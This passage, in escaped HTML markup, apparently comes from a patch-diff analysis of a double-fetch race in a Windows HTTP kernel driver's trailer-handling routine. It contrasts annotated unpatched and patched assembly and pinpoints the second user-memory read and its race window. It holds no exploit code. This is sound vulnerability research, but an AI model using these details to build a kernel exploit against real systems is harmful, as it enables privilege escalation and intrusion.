&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// reuses captured Src (safe)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED LOGIC (single path, no KIR flag) ---&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;UlGenerateTrailers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trailer_array&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trailer_array&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// CAPTURE ONCE: read pointer into local stack slot (Src)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;trailer_array&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Validate the captured pointer&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// REUSE captured pointer. No re-read from user memory.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;The double-fetch is visible in the unpatched assembly, where the pointer is fetched from the user-mode array (&lt;code&gt;r13&lt;/code&gt;) twice on the &lt;code&gt;UxKirHttpReadingTrailersFromUm == 0&lt;/code&gt; path.&lt;/p&gt;
&lt;h3&gt;Unpatched Vulnerable Sequence (Primary Data Pointer)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;CRITICAL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;First&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fetch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;probe&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d0cf&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r13+rax*8+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data_ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;FIRST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FETCH&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d0d4&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+..Src&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;save&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d0e5&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;UxKirHttpReadingTrailersFromUm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d0ec&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mh"&gt;0x1c000d125&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VULNERABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VULNERABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;PATH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;double&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;fetch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d125&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;probe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d12a&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="vm"&gt;?&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d12c&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x1c000d13c&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;yes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proceed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d13c&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d142&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d145&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d148&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+..var_58&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;saved&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;index&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VULNERABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INSTRUCTION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d14d&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r13+r12*8+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SECOND&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FETCH&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ARRAY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;

&lt;span class="mh"&gt;0x1c000d152&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000d155&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RE&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;READ&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;-- RACE WINDOW&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The Path B branch (flag != 0, fall-through at &lt;code&gt;0x1c000d0ee&lt;/code&gt;) instead reloads the captured pointer with &lt;code&gt;mov rdx, [rsp+..Src]&lt;/code&gt; at &lt;code&gt;0x1c000d111&lt;/code&gt; before &lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1c000d119&lt;/code&gt;, so it is not vulnerable.&lt;/p&gt;
&lt;h3&gt;Patched Safe Sequence&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mh"&gt;0x1c0028aa8&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ONCE&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0028aad&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+..&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="o"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0028abe&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0028ac1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;probe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;captured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0028ace&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r12d&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;
